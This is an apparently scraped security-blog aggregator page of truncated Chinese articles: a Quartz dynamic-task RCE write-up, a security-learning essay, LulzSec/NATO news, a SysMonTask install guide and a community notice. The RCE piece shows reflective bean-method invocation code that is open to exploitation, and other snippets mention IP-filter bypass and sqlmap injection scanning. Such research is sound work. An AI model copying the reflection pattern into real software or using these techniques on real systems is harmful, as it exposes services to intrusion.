点击上方蓝字 关注我吧前言在实际的生产业务中经常会接触到定时任务的问题。比如说,数据库定时备份,日志定时压缩,数据定时上传等等。当然,不同的定时任务,实现方式也会不尽相同。有的可能会借助操作系统的定时任务功能。但有些定时任务,就需要通过编码实现了,比如电商平台 30 分钟后自动取消未支付的订单,以及银行凌晨的数据汇总、对账和备份等。可以通过多种方式/框架实现定时任务的效果。例如xxl-job、Spring task、quartz等。其各有优劣,例如spring task配置很简单,相当于一个轻量级的quartz,能够满足实际开发中的绝大部分场景。  常见的业务场景中,常常需要动态增删启停定时任务,通过可视化的管理界面来动态管理。spring task就不是很适用了。有一种方式是通过Quartz框架,结合调用方法和参数反射调用来实现。例如如下的可视化管理界面(添加任务):动态定时任务相关实现  在网上找了一下相关的实现demo,主要实现思路是根据任务表里面的实体建立对应策略的任务实例,创建好对应的任务模版:/** * 定时调度具体工作类 */@Component("v2Task")@Slf4jpublic class V2Task { /** * 无参的任务 */ public void runTask1() { log.info("正在执行定时任务,无参方法"); } /** * 有参任务 * 目前仅执行常见的数据类型 Integer Long 带L string 带 '' bool Double 带 d * @param a * @param b */ public void runTask2(Integer a,Long b,String c,Boolean d,Double e) { log.info("正在执行定时任务,带多个参数的方法"+a+" "+b+" "+c+" "+d+" "+e+"执行时间:"+new Date().toLocaleString()); }}然后根据调用方法和参数反射动态创建、调用对应方法,核心工具类如下:public class JobInvokeUtil{ /** * 执行方法 * * @param sysJob 系统任务 */ public static void invokeMethod(SysJob sysJob) throws Exception { String invokeTarget = sysJob.getInvokeTarget(); String beanName = getBeanName(invokeTarget); String methodName = getMethodName(invokeTarget); List<Object> methodParams = getMethodParams(invokeTarget); if (!isValidClassName(beanName)) { Object...
阅读全文
动态定时任务业务中的RCE SecIN安全技术社区

动态定时任务业务中的RCE

前言   在实际的生产业务中经常会接触到定时任务的问题。比如说,数据库定时备份,日志定时压缩,数据定时上传等等。当然,不同的定时任务,实现方式也会不尽相同。有的可能会借助操作系统的定时任务功能。但有些定时任务,就需要通过编码实现了,比如电商平台 30 分钟后自动取消未支付的订单,以及银行凌晨的数据汇总、对账和备份等。   可以通过多种方式/框架实现定时任务的效果。例如xxl-job、Spring task、quartz等。其各有优劣,例如spring task配置很简单,相当于一个轻量级的quartz,能够满足实际开发中的绝大部分场景。   常见的业务场景中,常常需要动态增删启停定时任务,通过可视化的管理界面来动态管理。spring task就不是很适用了。有一种方式是通过Quartz框架,结合调用方法和参数反射调用来实现。例如如下的可视化管理界面(添加任务): 动态定时任务 相关实现   在网上找了一下相关的实现demo,主要实现思路是根据任务表里面的实体建立对应策略的任务实例,创建好对应的任务模版: ```java /* * 定时调度具体工作类 / @Component("v2Task") @Slf4j public class V2Task { /** * 无参的任务 */ public void runTask1() { log.info("正在执行定时任务,无参方法"); } /** * 有参任务 * 目前仅执行常见的数据类型 Integer Long 带L string 带 '' bool Double 带 d * @param a * @param b */ public void runTask2(Integer a,Long b,String c,Boolean d,Double e) { log.info("正在执行定时任务,带多个参数的方法"+a+" "+b+" "+c+" "+d+" "+e+"执行时间:"+new Date().toLocaleString()); } } ```   然后根据调用方法和参数反射动态创建、调用对应方法,核心工具类如下: ```java public class JobInvokeUtil { /* * 执行方法 * * @param sysJob 系统任务 / public static void invokeMethod(SysJob sysJob) throws Exception { String invokeTarget = sysJob.getInvokeTarget();...
阅读全文
这 3 点是我能入门安全的关键 安全闲碎

这 3 点是我能入门安全的关键

大家好,我是 mtcz91 ,对信安的兴趣可能来源于电视剧快乐星球,每次看到丁凯乐按下 Enter 键穿越到快乐星球,都让我心驰神往,虽然本科力排众议学了计算机,但入门信安也走了不少弯路,很荣幸能有这次机会和大家分享我在学习信安过程中的一些感悟。0x00 态度决定高度经过将近一年的时间,终于拿到了小白成长计划的 100 分:而达到百分的最后一个任务也是我得过的最高分——14 分,翻看之前的报告,我最低的一篇只得了 3 分,撇开一些写报告的方法、技巧等因素,我想,做两次任务时的态度是造成分数差异的主要原因。写那篇 3 分报告时,我只是把它当成一个需要完成的作业,想快点做完进入下一关,仅仅把目标定为达到任务基本要求,对于做任务时遇到的一些问题没有进行深入拓展,自然得到了一个求其中得其下的结果;而在写 14 分的报告时,我用了几个整天时间,先看了视频教程,然后查阅了 Freebuf 、先知社区等等安全社区以及百度、Google 到的许多安全研究人员的文章,从基本原理、漏洞利用再到 waf 绕过进行了全面细致的学习,把围绕主题的每一个知识点都彻底弄懂并且进行了实际操作。一些博客文章中,提出的方法并没有讲解原理,比如在 IP 地址绕过中,作者只是写了可以将 IP 地址转换为 10 进制数以绕过检测,并且贴了一个转换地址的链接,我实操虽然成功了,但是我抱着 IP 地址是怎么进行转换的、而浏览器又是如何解析 10 进制地址的疑问开始查资料,最后我理解了其背后的原理,并且知道了 IP 地址不仅可以转换为 10 进制数,还可以转换为 8 进制数和 16 进制数进行访问。我深深地体会到,能学到多少知识、能把技术掌握到什么程度很大程度取决于你学习时的态度,时常问自己一句“你尽力了吗?”0x01 “基础不牢,地动山摇”万丈高楼平地起,信安学习也是一样,基础不牢,烂尾可能不至于,但最终还得回过头来筑牢基础,与此同时盖上层建筑也会事倍功半。关于这一点,我最早是在打篮球的过程中体会到的,我刚开始苦练投篮、运球,进行力量训练,然后在学过人技巧乃至后面的空中漂移拉杆上篮都是很轻松就学会了,甚至没有刻意去练习,我想,这和我初期的基础训练密不可分,正是因为我的基础打的很牢,在学习“外功”的时候才能运用自如,就像当你真正理解了 xss 的形成原理后,对各种 payload 的变形自然是一通百通。在信安之路小白成长计划中,我把 web 部分完成了大部分,现在感觉自己基本掌握了 web 安全的基础,下一步就是对各类 web 漏洞进行深入研究。0x02 持之以恒与其说坚持,我想不如在学习信安中找到乐趣,当你不断投入时间、精力学习信安,就像小王子的玫瑰花一样,倾注的越多越会产生更大的兴趣去学习,一方面你会发现自己能看懂的技术文章越来越多了,另一方面在这个过程中其实已经培养了对信安更大的兴趣,在不断形成正反馈后,“坚持”可能就是水到渠成。在小白成长计划学习过程中,在写前 5 篇报告时,我用了很长时间,甚至中断了几个月,直到今年疫情期间,才又沉下心来继续学习,到现在我会尽量挤出时间学习成长平台上的任务,成长平台上的任务列出了需要完成的任务条目,虽然开始的时候很不习惯,但越往后我越感觉到这样设计的好处,在这个过程中,你需要主动去学习,主动去查资料,同时不会限制你的思维,这两点我觉得是成为网络安全人员最重要的特质,在提交报告后,还可以看其他小伙伴的报告进行查漏补缺,形成闭环。0x03 总结最后,非常感谢良哥提供了这个成长平台,我在这篇文章多次提到成长平台,是因为我在打广告,是因为我真的觉得自己在成长平台得到了成长,在此也立个flag,现在平台积分 112 分,希望在一年后积分达到 300 分。我很喜欢 extraordinary 这个单词,每天都为超出平常(ordinary)多做一些额外(extra)的努力,终将超越平凡,与各位师傅共勉。 本文始发于微信公众号(信安之路):这 3 点是我能入门安全的关键
阅读全文
防御黑客成北约首要任务 怎奈“防不胜防” lcx

防御黑客成北约首要任务 怎奈“防不胜防”

  目前,席卷全球多家大型公司及政府机构的“黑客门”事件层出不穷,继FBI、美国参议院网站、西班牙警方等“受害者”相继被黑客攻入以来,6月23日,北约表示,该组织的一家网站可能遭遇黑客袭击,导致了数据泄露。   近期,黑客组织 Anonymous、LulzSec 等风头无两,其中,由 LulzSec 声称负责的黑客攻击事件主要有:   ·5月份,LulzSec 公开表示对福克斯电视节目“X Factor”网站攻击,并披露了参赛选手个人资料;   ·5月底,LulzSec 攻击PBS.org网站、外泄密码,并在该网站上发布一篇恶搞文章。据悉,攻击是由于该组织对PBS对WikiLeaks的告密不满;   ·北京时间6月10日,LulzSec 窃取并发布了55家色情网站的管理员电子邮件和密码;   ·本月,由于对美国总统奥巴马及北约组织宣称网络入侵为“战争行为”不满,该组织入侵美国联邦调查局(FBI)附属组织网站InfeaGard作为抗议;   ·LulzSec 最近公开窃取的美国参议院网站数据,并发布通过游戏公司ZeniMax Media子公司Bethesda Softworks窃取的数据;   ·LulzSec 最近还攻击了英国国民健康服务网站,并向该机构发送了一封电子邮件提出警告,然后向公众公开一份经过编辑的电子邮件;   ·LulzSec 还声称对索尼音乐日本网站、Sony Pictures、Sony BMG比利时和荷兰网站、索尼计算机娱乐开发者网络及Sony BMG网站被黑负责。   LulzSec还在社交网站Twitter上公布了一个电话号码,作为向粉丝征集攻击目标的热线。几个小时后,LulzSec声称他们收到了5000个未接电话和2500封语音邮件。   正是由于黑客的近来的动作频频,目前北约已经将防御电脑黑客列为其首要任务之一,该组织一名发言人称,目前尚无机密信息泄露的数据。   据悉,此前北约各国国防部长于本月同意的一项网络防御行动计划,可能是其此次“惹祸上身”的导火索。文章来源于lcx.cc:防御黑客成北约首要任务 怎奈“防不胜防”相关推荐: 科普:Burpsuite导出log配合Sqlmap批量扫描注入点科普:Burpsuite导出log配合Sqlmap批量扫描注入点 动后河 (类的继承) | 2014-02-12 20:19 昨天google了,今天科普: 首先是burp设置记录log,文件名就随便填一个了。 最后,把记录的log文件放sqlmap目录下 s…
阅读全文
SysMonTask:一个类似于 Windows 任务管理器的 Linux 系统监控器 | Linux 中国 安全闲碎

SysMonTask:一个类似于 Windows 任务管理器的 Linux 系统监控器 | Linux 中国

 导读:但最近我遇到了一个为 Linux 创建的任务管理器,它看起来像……嗯……Windows 的任务管理器。本文字数:1928,阅读时长大约:2分钟https://linux.cn/article-13189-1.html作者:Abhishek Prakash译者:Xingyu.Wang得益于桌面环境,几乎所有的 Linux 发行版都带有任务管理器应用程序。除此之外,还有 一些其他的 Linux 的系统监控应用程序,它们具有更多的功能。但最近我遇到了一个为 Linux 创建的任务管理器,它看起来像……嗯……Windows 的任务管理器。你自己看看就知道了。就我个人而言,我不确定用户界面的相似性是否有意义,但开发者和其他一些 Linux 用户可能不同意我的观点。SysMonTask: 一个具有 Windows 任务管理器外观的系统监控器开源软件 SysMonTask 将自己描述为“具有 Windows 任务管理器的紧凑性和实用性的 Linux 系统监控器,以实现更高的控制和监控”。SysMonTask 以 Python 编写,拥有以下功能:◈ 系统监控图。◈ 显示 CPU、内存、磁盘、网络适配器、单个 Nvidia GPU 的统计数据。◈ 在最近的版本中增加了对挂载磁盘列表的支持。◈ 用户进程选项卡可以进行进程过滤,显示递归-CPU、递归-内存和列头的汇总值。◈ 当然,你可以在进程选项卡中杀死一个进程。◈ 还支持系统主题(深色和浅色)。体验 SysMonTaskSysMonTask 需要提升权限。当你启动它时,你会被要求提供你的管理员密码。我不喜欢一个任务管理器一直用 sudo 运行,但这只是我的喜好。我玩了一下,探索它的功能。磁盘的使用量基本稳定不变,所以我把一个 10GB 的文件从外部 SSD 复制到笔记本的磁盘上几次。你可以看到文件传输时对应的峰值。进程标签也很方便。它在列的顶部显示了累积的资源利用率。杀死按钮被添加在底部,所以你要做的就是选择一个进程,然后点击“Killer” 按钮。它在 杀死进程 之前会询问你的确认。在 Linux 发行版上安装 SysMonTask对于一个简单的应用程序,它需要下载 50 MB 的存档文件,并占用了大约 200 MB 的磁盘。我想这是因为 Python 的依赖性。还有就是它读取的是 env。在写这篇文章的时候,SysMonTask 可以通过 PPA 在基于 Ubuntu 的发行版上使用。在基于 Ubuntu 的发行版上,打开一个终端,使用以下命令添加 PPA 仓库:sudo add-apt-repository ppa:camel-neeraj/sysmontask当然,你会被要求输入密码。在新版本中,仓库列表会自动更新。所以,你可以直接安装应用程序:sudo apt install sysmontask基于 Debian 的发行版也可以尝试从 deb 文件中安装它。它可以在发布页面找到。对于其他发行版,没有现成的软件包。令我惊讶的是,它基本上是一个 Python 应用程序,所以可以为其他发行版添加一个 PIP 安装程序。也许开发者会在未来的版本中添加它。由于它是开源软件,你可以随时得到源代码。◈ SysMonTask Deb 文件和源代码安装完毕后,在菜单中寻找 SysMonTask,并从那里启动它。删除 SysMonTask如果你想删除它,使用以下命令:sudo apt remove sysmontask最好也 删除 PPA:sudo add-apt-repository -r ppa:camel-neeraj/sysmontask你也可以在这里 使用 PPA 清除 工具,这是一个处理 PPA 应用程序删除的方便工具。你会尝试吗?对我来说,功能比外观更重要。SysMonTask 确实有额外的功能,监测磁盘性能和检查 GPU 统计数据,这是其他系统监视器通常不包括的东西。如果你尝试并喜欢它,也许你会喜欢添加 Ctrl+Alt+Del 快捷键来启动 SysMonTask,以获得完整的感觉 :smiley:via: https://itsfoss.com/sysmontask/作者:Abhishek Prakash 选题:lujun9972 译者:wxy 校对:wxy本文由 LCTT 原创编译,Linux中国 荣誉推出欢迎遵照 CC-BY-NC-SA 协议规定转载,如需转载,请在文章下留言 “转载:公众号名称”,我们将为您添加白名单,授权“转载文章时可以修改”。 本文始发于微信公众号(Linux中国):SysMonTask:一个类似于 Windows 任务管理器的 Linux 系统监控器 | Linux 中国
阅读全文
每日线上交流计划灰度运行 安全新闻

每日线上交流计划灰度运行

去年的今天我们开启了一个小白成长计划,历时一年,我们从以 qq 群为任务提交的根据地,转战到线上平台的模式,至今为止,达到百分成就的成员只有 16 个,而有效注册用户超过 500+,也就是只有百分之三的人坚持下来,并在一年之内达成了百分成就。对于技术的学习,每个人都想,但是真正能坚持下去的少之又少,这也说明了学习是件不容易坚持的事情,三分钟热度很多人都有,一时兴起要学习,学了一周、两周就慢慢放弃了,因为学习太累了,又枯燥,真不如玩几把游戏、刷个电视剧、看个电影来的舒服。成长计划,本来是每周发布一个新任务,然后在一周之内完成,最后的结果是,每周没完成任务的小伙伴成指数级增长,最后不得不延期,最后发展出线上的成长平台,没有任何时间的限制,以闯关的形式来完成任务,完成一个解锁一个,知道完成所有任务为止,大大的提升了大家学习的自主性,真正能坚持下去人,也是真的热爱安全、热爱学习的人。今天我要发布的一个新的计划是每日交流会,我希望每天晚上 9 点到 10 点来一次技术或者经验的交流,交流并非培训,培训可能是一个人的自言自语,而交流却是集大家的智慧来讨论或者学习一个主题,真正达成互相学习的目的。信安之路一直以来都是以个人分享文章来做技术交流,其实并未有真正的交流,更多的是一言堂,文章发完也就完了,一个真正有意义的社群和分享平台需要更多的交流,而不是单纯的技术分享,所以我想通过每日交流会的形式来提升大家的交流氛围,真正的实现学习交流的优质平台。关于交流会的形式有哪些呢?我个人的理解如下:1、梳理知识框架,主持人确定一个主题,然后使用思维导图,由大家来发散思维完善相关主题的思维导图,沉淀并分享出来。2、主题分享,由想要分享技术的小伙伴准备好主题进行分享,然后围绕该主题进行讨论和扩展。3、优秀技术文档学习,主持人挑选互联网上优秀的主题文档,一起围绕该文档中的技术进行讨论学习。以上是我目前想到的玩法,我相信还有很多更有趣,更有意义的玩法等待我们的探索,希望更多愿意分享交流的朋友加入我们,形成一个好的分享交流的圈子,互帮互组,共同成长。如何参加交流会呢?有什么门槛?我们每期交流会的主题和时间安排会在以下三个地方发布:1、信安之路学习交流群(兴趣小组成员 + 知识星球成员 + 原创投稿作者)2、信安之路知识星球(信安之路原创作者 + 付费订阅用户)3、信安之路核心交流群(信安之路原创作者 + 成长平台百分成就者)免费的方式就是:1、投稿原创文章到 [email protected] 只要是原创文章,无论是否能够发布到信安之路公众号,都可以要求加入信安之路学习交流群。2、成为信安之路任意兴趣小组的成员,在公众号的后台可以发送相关关键词获取组长的联系方式,在沟通确认可以加入兴趣小组后,可以联系组长,由组长邀请加入信安之路核心交流群。最简单的方式:付费成为信安之路知识星球的成员,就可以加入信安之路学习交流群以及信安之路成长平台,学习交流两不误。最后的期望:关于交流会的后期,希望有更多的人成为主持人,主动成为会议的主角,来分享主题,带着大家一起思考和扩展技术和经验,毕竟每个人都很忙,不可能每天都有时间,交流会的组织者大家可以轮流担任,确定主题并带领大家学习和分享交流,让这个小小的会议持续发光发热下去,为我们所有人的信安之路增添光彩,沉淀技术和经验,供后人参考,为大家的信安之路出一份绵薄之力。最后欢迎大家的加入,成为交流会的一员,等你哦! 本文始发于微信公众号(信安之路):每日线上交流计划灰度运行
阅读全文